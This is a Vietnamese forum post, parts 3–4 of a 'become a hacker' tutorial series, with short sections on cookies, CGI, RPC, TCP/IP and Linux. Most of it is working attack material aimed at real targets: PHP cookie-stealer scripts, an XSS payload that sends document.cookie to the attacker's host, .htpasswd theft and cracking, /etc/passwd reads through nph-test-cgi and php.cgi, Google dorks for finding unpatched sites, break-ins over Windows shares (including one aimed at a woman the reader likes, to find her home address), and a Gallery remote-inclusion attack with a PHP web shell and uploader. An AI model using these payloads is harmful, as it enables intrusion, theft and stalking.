» Công Nghệ Thông Tin » Phần Mềm » Thủ Thuật Internet » Kiến thức căn bản để đào tạo bạn thành hacker - 3


You are not connected. Please login or register

Kiến thức căn bản để đào tạo bạn thành hacker - 3

Go down  Message [Page 1 of 1]

quangvhk123

quangvhk123
Thành Viên
Thành Viên

20 . ) Cookie là gì ?

_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web
site và browser của người dùng. cookies được lưu trữ dưới những file dữ
liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu
trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và
những vùng mà họ đi qua trong site.
Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu,
sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu
trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau
một lần truy cập vào site, những thông tin về người dùng được lưu trữ
trong cookie. Ở những lần truy cập sau đến site đó, web site có thể
dùng lại những thông tin trong cookie (như thông tin liên quan đến việc
đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập
hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site
quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm
tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp
cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu
khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host
nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn
đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm
vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ
liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file <
ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi
nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của
mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
`)">


hoặc:

[CODE
img]javascript: Document.write(`<img src=http://host_php/docs.php?docs=`+escape(document .cookie)+`>`)">


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này
bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá
``Powered by …….. forum” với những forum sau : ikonboard, Ultimate
Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có
thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được
thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một
số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một
box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu
những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó (
Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng
hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới
.htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại
sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có
tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các
file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư
mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều
khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một
cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá
những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó
mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê
gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không
thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file
.htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại
để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập
rồi ***** mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề ***** mật khẩu
trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp ,
nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì
sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess
? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc
chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong
các URL sau :

http://www.company.com/.htpasswd
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự (
có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm
thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the
ripper`` hoặc ``Crackerjack``, để ***** passwd cất trong đó . Công việc
tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name
và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì
trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .

Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết
những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website
đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực
hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI
script thực chất là những chương trình được viết và được upload lên
trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong
đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình
,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24
giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :

CODE
? /*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các
bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ
khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online :

_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn
có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề
khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một
cách đáng kể và những máy họ không share thì không thể xâm nhập được,
do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account ,
có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập
khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta
sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view ”

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy
download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load
chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH
Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý
là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta
đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn
nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý ,
trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên
dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà
mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ
của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn
khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh
lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat
Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định
địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở
trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn
ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của
cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

================================================== = =

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập ,
nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn
có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền
admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là
nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu
có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị
lỗi đó chứ không đưa ra địa chỉ cụ thể nào .

================================================== = =

Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của
mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một
trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack
Web thông qua lỗi Gallery.v.v…….

GOOKLUCK!!!!!!!!!

( Hết phần 3 )





26 . ) Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân
tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các
ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng
dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác
định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy
tính.

_Microsoft RPC sử dụng name service provider để định vị Servers
trên mạng. Microsoft RPC name service provider phải đi liền với
Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API
cho phép truy cập nhiều thực thể trong cùng một name service database
(name service database chứa các thực thể, nhóm các thực thể, lịch sử
các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name
service provider. Nó là name service provider tối ưu nhất trên môi
trường mạng Windows NT.

27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin
remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure
call thì hiện tại không có chương trình nào có thể remote desktop để
theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy (
vì đa số các tools viết connect dựa trên remote procedure call ( over
tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file
sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức
với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan
đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn
lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một
firewall là chắc chắn tương đối an toàn rồi đó .

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )

28 . ) Những bước để hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về
máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP,
Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến
mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm
kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh
những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác
định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS
pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài
khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu
mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị
mạng không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin
có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn
công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển
nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công
cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản
guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm
cách ***** password của admin, hoặc sử dụng lỗ hổng để leo thang đặc
quyền. John và Riper là hai chương trình crack password rất hay được sử
dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương
pháp truy cập vào mạng. Những file text chứa password hay các cơ chế
không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết,
xoá các file log của hệ điều hành làm cho người quản lý không nhận ra
hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là
ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy
nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng
việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user).
Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối
cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách,
nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác
thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay
được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các
loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ
biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào
. Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “
biết người biết ta trăm trận trăm thắng ” .

( Tài liệu của HVA và hackervn.net )

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin
trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng
những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng
trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất
mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào
google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã
lỗi trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn
hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá
cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã
hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn
tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá

powered by

VD sau là để tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó
có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt
trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất
quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau

``/admin hay /advadmin hay /hosting``

ta hãy đánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có đoạn đặc trưng

``cgi-bin/ultimatebb.cgi?``

Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi
thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post
hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):
_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được
viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào
đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n < xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n`` ; }
echo `` ``;
? >


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host
bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn
sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là
tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google
sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một
trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay
không :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải
của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được
đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật
đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư
mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh
chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi
tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó .
Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà
ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một
thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước
do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng
của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây
là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của
các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như
config.php , check.inc .v.v… ) vì đây là những file chứ không phải là
thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn
những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác
định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy
vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin
của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi
phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload ,
như vậy đường dẫn chính thức mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php
giống như mã của file upload.php, nhưng sửa lại *PATH* thành
“/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file
upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn
nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :


http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2
nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn
dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của
bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php
lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành
chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công
đối thủ như lấy database , password ( làm tương tự như các bài hướng
dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database
hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần
upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ
thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các
bạn .

( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net )


GOODLUCK!!!!!!!!!!!!

( Hết phần 4 )
31 . ) Gói tin TCP/IP là gì?

TCP/IP viết tắt cho Transmission Control Protocol and Internet
Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó
kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức
truyền tin của internet, bằng cách gửi các gói tin. Phần header trong
một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại
một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có
thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà
không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho
phép bạn làm điều này.


32 . ) Linux là gi`:
_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1 phần
mềm đảm trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính
và phần cứng. Cung cấp các chứng năng như: quản lý file, quản lý bộ nhớ
ảo, các thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím, ....
Nhưng Nhân Linux chưa phải là 1 HĐH, vì thế nên Nhân Linux cần phải liên
kết với những chương trình ứng dụng được viết bởi tổ chức GNU tạo lên 1
HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng ta thấy
GNU/Linux khi được nhắc đến Linux.
Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này (
Nhân và Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để mang
đặc trưng của công ty/ tổ chức mình và làm thêm phần cài đặt (
Installation Process ) cho bộ Linux đó, chúng ta có : Distribution. Các
Distribution khác nhau ở số lượng và loại Software được đóng gói cũng
